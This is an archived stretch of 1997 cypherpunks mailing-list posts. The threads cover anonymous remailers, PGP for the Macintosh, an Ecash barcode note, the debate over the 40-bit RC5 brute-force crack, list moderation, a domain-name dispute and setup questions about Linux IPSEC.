a step in the right direction, great.  If everyone thinks it
sucks, well that's great too.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ed Falk <Ed.Falk@Eng.Sun.COM>
Date: Fri, 7 Feb 1997 12:55:44 -0800 (PST)
To: zinc@zifi.genetics.utah.edu
Subject: Re: lead remailer is shut down
Message-ID: <199702072055.MAA00602@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Can't remailers be written with basic spam safeguards?  I.e. no mass
crossposts, limited # of posts by each individual client per day, etc.?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy N. Hill" <tnh@ACM.ORG>
Date: Fri, 7 Feb 1997 11:42:59 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: Waiting for Mac version [was Re: Full strength Email Clients]
Message-ID: <199702071942.LAA29294@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 02:19 -0500 97-02-07, Steve Schear wrote:
>>... PGPMail 4.5 ...
>
>Its too bad there isn't a Mac version contemplated.  They appear to think
>that existing PGP versions, paired with Eudora, are sufficient.  I think a
>better integrated approach for the Mac would be appreciated as the
>available AppleScripts are buggy and awkward.

I agree completely about the need.  PGP, Inc., does claim to be working on
a Mac version, but their promises are beginning to sound a little hollow.
They now promise a "1997 release of PGPmail for the Macintosh" and "more
specific information on when PGPmail will be available on the Macintosh"
"during the second half of February."

I bought ViaCrypt PGP for Macintosh 2.7.1 in October.  (2.7.1 is nearly
identical to the free 2.6.2, with the same abysmal user interface that
earned a rare one-star rating from Macworld
<http://www.macworld.com/pages/star/starratings.Utilities.html>, but 2.7.1
is licensed for commercial use.)  At the time, PGP Inc. promised a free
upgrade to version 4.0 for Mac, which was already considerably overdue.
(According to <http://www.pgp.com/products/viacrypt-tbr.cgi>, 4.0 is still
"To Be Released Soon.")

When PGP, Inc., announced PGPmail 4.5 in December
<http://www.pgp.com/newsroom/prel8.cgi>, they wrote "PGPmail 4.5 ...
supports ... Mac OS."  I called and asked if this implied they were
bypassing 4.0 for Mac and when 4.5 would be available for Mac.  The support
person didn't know, said she'd find out and call me back, and never called
back.

A few days ago, I received this via US mail:

>PRETTY GOOD PRIVACY, INC.
>
>Wednesday, January 22, 1997
>
>Dear Valued Customer:
>
>Thank you for being patient regarding your order for an updated version
>of PGP for the Macintosh. The last year has involved many changes for
>our company. As a customer, we know the changes have caused delays in
>the product you expected sooner. I would like to explain recent events
>and extend a special offer in appreciation of your business.
>
>First, an explanation of recent events. As you may already know, Pretty
>Good Privacy, Inc. purchased Lemcom Systems and its wholly owned
>subsidiary, ViaCrypt, last year. ViaCrypt had previously announced
>ViaCrypt PGP 4.0 for the Macintosh. Pretty Good Privacy is fully
>committed to the Macintosh platform, and we have plans to release a
>rich set of products for the Macintosh in 1997. We have already doubled
>the size of our Macintosh group with engineers who have extensive Apple
>experience.
>
>We are currently working on a new version of PGPmail designed
>specifically for the Macintosh, adding new features and revising the
>graphical user interface, making it significantly easier to use.
>
>After much serious consideration, we decided to dedicate the Macintosh
>PGPmail team to deliver this new product as quickly as possible, and to
>cancel the port of ViaCrypt PGP 4.0 to the Macintosh. We apologize for
>any inconvenience this delay may have caused, but we believe that you
>will agree that the new version of PGPmail designed specifically for
>the Macintosh will meet your needs better than a port from the Windows
>platform.
>
>In recognition of the delay, we would like to offer you the forthcoming
>1997 release of PGPmail for the Macintosh free of charge. We hope you
>will take advantage of this special offer. When ordering, please
>indicate the following code #0811 to process your order, so please
>retain this letter. Please check the PGPmail section of our website at
>http://www.pgp.com/products/PGPmail-faq.cgi during the second half of
>February with more specific information on when PGPmail will be
>available on the Macintosh.
>
>Please accept our sincere apologies for the delay. If you have any
>questions, please contact us at fyi@pgp.com.
>
>Sincerely,
>
>Tom Steding
>President & CEO
>Pretty Good Privacy, Inc.

We shall see.

Meanwhile, a beta version of "Pretty Safe Mail"
<http://www.highware.com/highware/PSM/safemail.htm> is available from
Highware in Belgium.  It's PGP compatible, and its user interface is a
great leap forward from any Mac PGP front end I've seen.  But, it still has
some deficiencies, it's very slow (25 seconds to sign this message on a 25
MHz 68040 vs. 4 seconds for ViaCrypt PGP 2.7.1), and (as was recently
discussed on a couple of these lists) its source code hasn't been published
or externally audited.

 - Tim

-----BEGIN PGP SIGNATURE-----
Version: 2.7.1

iQCVAwUBMvtiAi62DQeAyFc9AQG5tAQAigsa5/Ygb9PqHHLA/QD+HSpBWFRpRjGW
bWfg8Zq0PCi5AyMPAwYagxYo5/m4Sm3OA6u2urq5IDzxVaYOGFIgKGRxaFgWivFN
dYfwFRR9WO7NkoigKsOc3ZHAK2UPPWYsFkjbVkbINyke5NmFkwEI0/oPguoMWdXH
WMpnOGDut5Q=
=kWrX
-----END PGP SIGNATURE-----

Timothy N. Hill <tnh@acm.org>                "We all love to instruct,
Wellesley, Massachusetts                      though we can teach only
<http://www.ma.ultranet.com/~tnh/>         what is not worth knowing."
PGP F058F75D 99C5122F 21C5BEF5 620C1D3C             - Elizabeth Bennet







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Briceno <marc@digicash.com>
Date: Fri, 7 Feb 1997 13:11:01 -0800 (PST)
To: Jeremey Barrett <dev-lucre@c2.net
Subject: Re: World's first Ecash note
Message-ID: <199702072111.NAA00898@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:26 PM 2/6/97 -0800, Jeremey Barrett wrote:
>The world's first Ecash note has been printed!
>
>A USD 0.01 note made out to anyone can be found at:
>
>	http://www.veriweb.com/people/jeremey/ecash/1_cent.html
>
>The data portion of the note is a PDF417 2-D barcode, containing a
>standard ecash payment of 1 US cent. 

Congratulations to Jeremey for printing the world's first Ecash note! I
hereby declare Jeremey the winner of the "encoding Ecash as 2D-bar code"
contest. The money will be awarded this Saturday. Now, we need decoding
software. :-)

[There is a $100 reward (out of my own pocket) for the first freeware
decoder. Source required. This is a "just for fun" contest. I know that
$100 won't pay for the time spent on the project.]



-- Marc Briceno <mailto:marc@digicash.com>
   Ecash(tm) Electronic Cash Evangelist/Developers Support
   <http://www.digicash.com/>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Trei <trei@ziplink.net>
Date: Fri, 7 Feb 1997 11:41:21 -0800 (PST)
To: infowar@infowar.com
Subject: Re: 40-bit RC5 crack meaningless?
Message-ID: <199702071941.LAA29283@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Subject: Re: 40-bit RC5 crack meaningless??
From: Peter Trei <ptrei@acm.org>

> Subject:       40-bit RC5 crack meaningless??

Mr. Strassman allegedly sent the quoted letter to Winn Schwartaus'
"infowar" mailing list, and it was then posted by persons unknown to
the sci.crypt usenet group. Identity on the internet being the fluid
thing it is, I apologize in advance if he never sent this letter, or
if it has been modified before it reached me.

The quoted letter attempts to minimize the importance of Ian
Goldberg's recent bruteforce decryption of export-strength RC5
encryption.

In my opinon, as described below, Mr. Strassman's arguments are
without merit when applied to the situation the RSA challenges are
intended to model - the security of encrypted Internet protocols. As
such, I feel that his letter may lull some people into an unjustified
and dangerous sense of security.

> >Date: Thu, 30 Jan 1997 20:10:36 -0500
> >From: "Paul A. Strassmann" <paul@strassmann.com>
> >Subject: Further to Goldberg's Cracking Accomplishments
> >Gentlemen:
> >
> >As I suspected (see earlier private comment), the
> >highly promoted RSA cracking contest offered
> >a number of clues that ordinarly would not be
> >volunteered by  info-terrorists or info-criminals to
> >IW Defense teams.

> >These clues made the cracking significantly easier,
> >because it made it possible to eliminate an enormous
> >range of possible searches.

What's the target, and who is doing the encrypting?  These "clues"
_are_ available to adversaries engaged in industrial and economic
espionage; a important part of a covert infowar.

It's certainly true that "info-terrorists or info-criminals" will not
be so easy to tap, but the absence of these 'clues' is a red
herring. They will be secure because they will use good encryption,
which is not what US firms can export today.

The challenges are realistic models of encrypted Internet protocols,
for example IPSEC with ESP data encryption. As such, they accurately
display the vulnerability of data on the Internet to espionage.

> >The following was extracted verbatim from the
> ><The RSA Data Security Secret-Key Challenge>
> >posted on <http://www.rsa.com/rsalabs/97challenge/>:
> >
> >Clue #1:
> >
> >  " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge
> >will use 12-round RC5 with a 32-bit word size. "
> >
> >Clue #2:
> >
> >  " ...The first RC5 contest will consist of some unknown plaintext
> >encrypted using a 40-bit key;."

Clues #1 and #2 are absolutely reasonable - in an open standard, it is
absolutely normal to know the cipher being used, it's mode, and the
length of the key. See the SSL specification, or IPSEC's RFCs.

> >Clue #3: (a  giveway!)
> >
> > " ... For each contest, the unknown plaintext message is preceded by three
> >   known blocks of text that contain the 24-character phrase "The
> >   unknown message is:  .....".

To those who are unfamiliar with Internet protocols, this would appear
to give the cryptanalyst an unrealistic head-start. This is not the
case.  Most Internet protocols have highly stereotyped packet headers;
for example, _every_ normal return packet from a web server starts out
with the string "HTTP/1.0" (servers using something other than version
1.0 are rare as hen's teeth at the moment).  When you consider that
such a packet may contain a firm's confidential earnings predictions
or trade secrets (hopefully encrypted), the economic importance of
such data is clear.

Similar stereotyped headers exist for many other protocols, such as
NNTP and SMTP. As such, a known-plaintext attack, as modeled by
RSADSI's symmetric key challange, is quite realistic.

Even if a full known plaintext for the first block is unavailable, a
knowlegable cryptanalyst can usually make some very reasonable
assumptions which will greatly speed his or her task. (I'm assuming
DES here - which has a 64 bit block, but the argument extends easily
to other block sizes). For example, if we know that the data contains
only printable ASCII characters (true for the headers of most Internet
protocols), then for a 64 bit block, there are 8 bits which we _know_
will be zero in the decrypted block. This lets us dispose of 255 out
of every 256 incorrect trial decryptions immediately, and we will have
to perform more extensive tests on less then 0.4% of candidate keys.

Similar intelligent guesses can be made about the headers of other
protocols, for example IPSEC-secured IPv6 packet headers in tunneling
mode.

Some people have noted that the challenges include the IV, or
'initialization vector' used in CBC (cipher-block-chaining) modes of
encryption, and argue that this would not be available to an
adversary. Once again, this assertion falls when examined in the light
of actual usage.

The purpose of an IV is to make dictionary and replay attacks more
difficult. It is not intended to prevent brute force attacks, and so
is _normally_ included in the clear in communications protocols (for
example, see RFC 1827 for it's clear transmission in IPSEC). If it
is not included, it is effectively part of the keying material, and
thus adds it's bits to the strength of the key. As such, its value
would have to be transmitted and protected as carefully as the rest of
the key.  

> >In summary: The claim of exportable cryptography being totally 
> >insecure, because it can be cracked in 3.5 hours is not 
> >realistic. The three clues announced in the contest 
> >would not apply under infowar conditions.

As I have shown above, Mr. Strassman's optimism is misplaced in the
case of actual, fielded use of encryption on the Internet. It may
apply to some classified systems, but they don't use exportable
cryptography anyway. A covert inforwar against commercial and private
targets is _quite_ plausible.

> >What other clues may have been provided to Goldberg
> >to  support private agendas and gain shrill headlines
> >is also a matter of speculation, but I rest my case.

What exactly is he hinting at here?

> >I certainly cannot assert that a 40 bit key cannot be decyphered.

Of course he can't. 40 bits of RC4 encryption (as used in the
exportable version of Netscape) was brute-forced not once, but three
separate times in the fall of 1995, the fastest effort taking about 28
hours. Today it could be done much more quickly, as Ian demonstrated
with RC5 (an algorithm of similar complexity).

> >However, I do not think that the RSA unqualified claims
> >offer full and appropriate disclosure.

I disagree. The RSA challenges accurately model the use of encryption
on the unclassified Internet. Ian's decryption of 40-bit RC5 is of
considerable importance in demonstrating the insecurity of American
citizens caused by Administration efforts to compromise exportable
encryption.

In my opinon, Mr. Strassman's assertions as to the strength of
exportable encryption are too dangerous to be left unchallenged.

> >Paul A. Strassmann
> >55 Talmadge Hill Road, New Canaan, CT. 06840
> >Telephone: 203-966-5505; Fax: 203-966-5506
> >INTERNET:                  paul@strassmann.com
> >WorldwideWeb:           http://www.strassmann.com

Peter Trei
ptrei@acm.org

Disclaimer: I am speaking as a knowlegable private citizen, not as
a representative of my employer. This posting represents my opinon
only.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andrew Loewenstern <andrew_loewenstern@il.us.swissbank.com>
Date: Fri, 7 Feb 1997 11:56:26 -0800 (PST)
To: Charley Musselman <c.musselman@internetmci.com>
Subject: Re: anonymous remailers
Message-ID: <199702071956.LAA29451@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Charley Musselman writes:
>  Does anyone know the answer?  Specifically, how can we choose
>  a trusted remailer?

The answer is to run your own remailer.  Make sure your chain includes your  
remailer at least once.  If you can't trust yourself, who can you trust?


andrew





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Fri, 7 Feb 1997 13:20:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702072120.NAA01090@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


SANDY SANDFORT sez:

> On Fri, 7 Feb 1997, Mike Duvos wrote:

> > ...Messages apparently do not get moderated in the order in
> > which they are received...

> All messages are filtered and posted in the order in which I
> receive them.

That's all very nice, but I should point out that I have not yet
seen my message to which you are responding on the filtered list. 

Others mileage may vary. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Fri, 7 Feb 1997 13:19:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702072119.NAA01071@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


In a previous message, I wrote:

> That's all very nice, but I should point out that I have not yet
> seen my message to which you are responding on the filtered list. 

It just trickled into my mailbox.  I take that back.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 7 Feb 1997 13:22:41 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702072122.NAA01120@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



>
>(It is true that Vulis uses the phrase "Limey faggots," in reference to
>beer-serving habits, but he does not directly insult any list members with
>this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will
>be blocked from their usual characterizations of Congresscritters and NSA
>stooges.)

TCM defending Vulis, I think I've died and am in some strange
dreamworld. hehehehe






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 7 Feb 1997 13:21:00 -0800 (PST)
To: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Subject: Re: Metzger, Denninger square off
Message-ID: <199702072121.NAA01093@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Damaged Justice writes:
> 
> [Forwarded from Wired news. Let's cut to the chase: Which side is in the
> right? Who can tell me, in plain and simple language, who is fighting for
> individual freedom and property rights, and who is not?]

>    [LINK] Foes Vow to Take Domain Name Fight to FCC
>    by Gene Koprowski
>    
>    5:01 pm PST 6 Feb 97 - A proposal by the International Ad Hoc
>    Committee (IAHC) to expand the number of Internet top-level domain
>    names is stirring opposition among alternative domain name providers.

[..]

>    Denninger said he received a leaked copy of the IACH proposal earlier
>    this week, and he and his colleagues are considering bringing their
>    protests to the FCC. "We're given open access under the telecom law,"
>    says Denninger. "We might talk to the FCC or the Clinton
>    administration about this." Barring that, Denninger will lobby
>    Internet service providers around the country, asking them not to
>    recognize the new GTLDs. "There is no reason to support it. We will do
>    everything in our power to convince ISPs not to go along," he says.



Karl's worried that the new GLTD system might mean that some sites
will be unreachable, so he's going to lobby ISPs to not accept the
new GLDTs to ensure that sites are unreachable?

This reminds me of the Vietnam era "We had to destroy the village in
order to save it."

If I didn't already think that Karl was an idiot, I'd sure think so after
reading this.


-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 7 Feb 1997 13:58:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: automated moderation system
Message-ID: <199702072158.NAA01634@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



here's an idea for a simple "moderation" system with no
one-moderator bottleneck/choke point. I'm trying to come
up with a constructive solution with cyberspatial spirit.
please send me email if you would be willing to try this system. 
flames ignored. if there is enough support I may be able to
persuade a friend to write the code to do this.

a new mailing list is set up, one that gets posts from a
noisy mailing list. it filters the mail according to user
preferences, and sends it out to its own subscribers. the
filtering scheme is as follows:

a web site is set up that allows people to express their
own preferences as to who they wish to listen to in particular,
and who they wish to killfile, based on email address. 
first, they hit the web site
and have it send them a secret password to their email address.
then they use that password to edit their "pass" and "zap"
lists. (the password is for authentication)

now, the mailing list works as follows. people always receive
posts from people they put on their "pass" lists. mail from
entities on their "zap" lists is always trashed.

why are the lists kept on the server? the usefulness of this
scheme is that now you have information about all entities,
the number of votes to "pass" each entity, and the number of
votes to "zap" each entity. now lets say that the system is
considering sending me mail from someone that is neither on
my pass or zap lists. I have no personal info on it, but the
system could use the votes in some algorithmic way to decide
whether to send it to me or not. various experiments could
be tried to come up with a good scheme.

 my preference is at
the moment something like this: every person indicates how
much mail they wish to recieve from the list, and how much
of a delay is acceptable. the system uses this information
and the "pass/zap" ratio (or difference) to send out the
"highest rated" messages in a given time window. during
low list traffic, the messages that pass through would be
ranked lower. or, the system could have a ranking threshold
set by each individual user below which it will never pass 
the email.

my feeling is to keep these lists public, although the scheme
would allow a system that kept them private. of course I will
be flamed for this.

the system of course is essentially a reputation system, something
everyone here talks about but nobody really seems to know what
one is or how to set one up.

anyway, I hope to hear from anyone with comments. if you might
be able to support a cgi web site for the idea, please let me
know. technically the system is pretty straightforward. my 
experience with these systems is that the great difficulty is
getting people to try them, the "critical mass" problem.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Fri, 7 Feb 1997 11:41:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Metzger, Denninger square off
Message-ID: <199702071941.LAA29268@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




[Forwarded from Wired news. Let's cut to the chase: Which side is in the
right? Who can tell me, in plain and simple language, who is fighting for
individual freedom and property rights, and who is not?]

   [LINK] Foes Vow to Take Domain Name Fight to FCC
   by Gene Koprowski
   
   5:01 pm PST 6 Feb 97 - A proposal by the International Ad Hoc
   Committee (IAHC) to expand the number of Internet top-level domain
   names is stirring opposition among alternative domain name providers.
   
   Opponents call the plan "unenforceable," and are considering filing a
   protest with the Federal Communications Commission, indicating that
   the IAHC policy might violate the 1996 Telecommunication Act's open
   access provisions.
   
   "We didn't want to have to get my guns, rifles, and bombs out - but
   now we have to," Carl Denninger, president of Macro Computer
   Solutions, Chicago, a long-time opponent of IACH, tells Wired News.
   "If someone doesn't point a revolver at them, they will be able to do
   whatever they want to do."
   
   On Tuesday, the intergovernmental body issued a proposal to expand the
   number of generic top-level domains (GTLDs), adding seven new listings
   in addition to the existing ones, which include the familiar .com,
   .net, and .org. The new GTLDs would include .firm, for businesses;
   .store, for retail businesses; .web, for Web-related companies; .arts,
   for cultural organizations; .rec, for recreation and entertainment
   facilities; .info, for information services; and .nom, for
   individuals.
   
   Perry Metzger, a member of the IAHC board, said that the organization,
   whose members include the International Telecommunications Union and
   the World Intellectual Property Organization, will likely formally
   approval the proposal very quickly. "This is not a done deal. The
   paperwork needs to be signed. An association to handle this has to be
   set up," says Metzger. "But it will go forward very soon. I'm sure
   plenty of people will not be in favor of it. But the question is: What
   can they do to stop it?"
   
   The answer is plenty, says Denninger. He and others, like Eugene
   Kashpureff of Alternic, have long fought the IAHC's attempts to expand
   the number of GTLDs. They think the creation of these new categories
   may lead to trademark infringement and other intellectual property
   problems. They also think the new domain names will "fragment" the
   Internet, leaving some users unable to communicate with others, if a
   server does not recognize the name request.
   
   Denninger said he received a leaked copy of the IACH proposal earlier
   this week, and he and his colleagues are considering bringing their
   protests to the FCC. "We're given open access under the telecom law,"
   says Denninger. "We might talk to the FCC or the Clinton
   administration about this." Barring that, Denninger will lobby
   Internet service providers around the country, asking them not to
   recognize the new GTLDs. "There is no reason to support it. We will do
   everything in our power to convince ISPs not to go along," he says.
   
   As part of that, he is launching a national public relations and
   lobbying campaign to alert the Internet community about the IACH
   proposal. [LINK]
   
        Copyright ) 1993-97 Wired Ventures, Inc. and affiliated companies.
        All rights reserved.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 13:58:12 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702072158.NAA01633@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:59 PM -0800 2/7/97, Vladimir Z. Nuri wrote:
>>
>>(It is true that Vulis uses the phrase "Limey faggots," in reference to
>>beer-serving habits, but he does not directly insult any list members with
>>this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will
>>be blocked from their usual characterizations of Congresscritters and NSA
>>stooges.)
>
>TCM defending Vulis, I think I've died and am in some strange
>dreamworld. hehehehe

I'm arguing against two things:

1. The basic notion of centralized moderation, with the name "Cypherpunks"
now closely associated with a Big Brotherish, "we know what's better for
you than you do" sort of censorship.

2. The apparently careless and inconsistent way Sandy is censoring posts.
As others have also noted, non-flamish posts are being sent to the Flames
list. A censor who will not take the time to read the list traffic on a
continuing basis, e.g., by spending the several hours a day on it that many
of us spend (or used to spend), is not suited to be a censor. I suggested
at the time of his self-appointment to the role of Censor that Sandy would
not devote the needed time to this task. (Not that this makes censorship
OK, mind you.)

I'm not defending Vulis per se, and I continue to think Vulis is a twit.
But one of the goals Vulis apparently set out to accomplish (just as you
did a couple of years ago, Larry) was to force the list to start censoring
itself, even to force the list to shut down.

It seems likely that Vulis is quite happy with the outcome here.

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Feb 1997 11:56:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Project 25 Radio
Message-ID: <199702071956.LAA29470@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The National Communications Systems published in the
Federal Register of February 6, a notice of FTR1024 
covering Land Mobile Radio, Project 25. The recommentation
specifies encryption: DES (Type 3) and Type 1 for classified use. 
The specifications are based on seven public TIA documents 
and one classified NSA document.

   "This recommendation is intended to facilitate interoperability 
   among telecommunication facilities and systems of the Federal 
   Government."

The official document is available in PDF format at:

   http://members.aol.com/Project25/1024.pdf

We've prepared a hypertext version:

   http://jya.com/ftr1024.htm








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 7 Feb 1997 16:57:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IEEE Communications
Message-ID: <199702080057.QAA05227@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>A friend called this evening to let me know the February issue is dedicated
>to electronic cash and its implications.  I'm no longer an IEEE member.  If
>any of the various list members care to excerpt and comment on some of the
>more interesting portions, I'm sure it would be appreciated.
>
>--Steve

Correction: It's the February issue of IEE Spectrum, subtitled "Technology
and the Electronic Economy."

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 7 Feb 1997 16:56:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crack a Mac and win a fortune.
Message-ID: <199702080056.QAA05123@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


A Swedish company, http://www.infinit.se/hacke/crack.html
is offering a 10,000 Swedish Kronor reward to the first
person to successfully attack (change information on) their
web server. See their press release at
   http://www.infinit.se/hacke/release.html
for details and the URL of the system to hack.

Martin Minow
minow@apple.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rodney Thayer <rodney@sabletech.com>
Date: Fri, 7 Feb 1997 17:10:53 -0800 (PST)
To: linux-ipsec@clinet.fi
Subject: is there a FAQ
Message-ID: <199702080110.RAA05600@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I am trying to run IPSEC on Linux and I have questions.

Before I ask, is there an FAQ?


               Rodney Thayer <rodney@sabletech.com>       +1 617 332 7292
               Sable Technology Corp, 246 Walnut St., Newton MA 02160 USA
               Fax: +1 617 332 7970           http://www.shore.net/~sable
                           "Developers of communications software"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ed Falk <Ed.Falk@Eng.Sun.COM>
Date: Fri, 7 Feb 1997 16:59:04 -0800 (PST)
To: cypherpunks-announce@toad.com
Subject: Re: ANNOUNCEMNT: February 1997 keysigning session
Message-ID: <199702080059.QAA05278@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

We have enough people who want to have a PGP keysigning session at
tommorrow's meeting to make it worthwhile.  We'll probably be doing
it at 17:00 or thereabouts.

If you want to join in, let me know ASAP.  Include your key or a pointer
to where I can download it.

	-ed falk

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Version: 2.6.2

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Hk9YqDrW0Yd6sdYNtIvdl6MreklF5sI6++IcDH0nGs1Ifam1cNbEyA==
=rWsE
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hugh Daniel <hugh@far.toad.com>
Date: Fri, 7 Feb 1997 17:16:06 -0800 (PST)
To: rodney@sabletech.com
Subject: Re: is there a FAQ
Message-ID: <199702080116.RAA05754@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


  Currently the only documentation for the Linux IPSEC is the INSTALL
file.  There is no FAQ.
  If someone from a free country (not the one controled by the USG
gang) is interested in writing some doc or a FAQ that would be great!
  I am working on getting 3DES working (it's in the ipsec-0.4 code
base, but no doc on how to configure it!) now and could use more
documentation my self.

		||ugh Daniel
		Linux FreeSWAN Project
		hugh@toad.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@replay.com>
Date: Fri, 7 Feb 1997 08:39:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702071639.IAA26432@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Over on sci.crypt, Paul C. Kocker <pck@netcom.com> gave a clear and
confident response to a query about the statistical difference between a
brute force attack on a known Russian or English text, versus a similar
attack on cyphertext with a known-plaintext sample (Strassmann's tell-tale
Clue #3.)

Said Kocher:

The difference is negligable.  With English text encrypted under
a 64-bit block cipher, you know that the most significant
bit of each of the 8 bytes in the block should be zero.  For a
wrong key, there is a 255/256 probability that at least one of
these bits will be nonzero, allowing immediate rejection of
the key.  Keys which do produce all zero bits get tested on
additional blocks until the key is either deemed correct or
rejected.  The extra overhead per wrong key is the sum from
i=1 to infinity of i*(1/256^i), or under 0.4 percent.

In practice, the slowdown is actually a couple of percent, since
it complicates the skip-the-last-Fiestel-round optimization. Also,
the 1/256 case requires running extra code, which can fill the
microprocessor's cache with code which isn't part of
the main loop, slowing things down a bit when the computer
goes back to the main search.

Cheers,
Paul

____________________________________      http://www.cryptography.com
Paul Kocher (pck@netcom.com)       |     Voicemail: +1-(415)-354-8004
Crypto consultant                  |           FAX: +1-(415)-321-1483







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Fri, 7 Feb 1997 19:55:55 -0800 (PST)
To: linux-ipsec@clinet.fi
Subject: NETLINK_IPSEC
Message-ID: <199702080355.TAA08277@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

When running 'make modules', NETLINK_IPSEC and IPFWD_NOTTLDEC are
undeclared. I added NETLINK_IPSEC to include/net/netlink.h,
but IPFWD_NOTTLDEC is not to be found. I'm running kernel 2.0.0,
the INSTALL.txt file in the ipsec distribution mentions 2.0.24,
is that the minimum kernel to run on?

Thanks.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Senior Software Engineer                         http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

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=lK+H
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Fri, 7 Feb 1997 16:58:37 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: automated moderation system
Message-ID: <199702080058.QAA05252@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:15 PM 2/7/97 -0800, you wrote:

[... re: a auto moderations system...]
>now, the mailing list works as follows. people always receive
>posts from people they put on their "pass" lists. mail from
>entities on their "zap" lists is always trashed.
This much, you can do on your own.  Just filter "zap" messages to
/dev/null or somesuch.  (But I see its purpose; keep reading.)

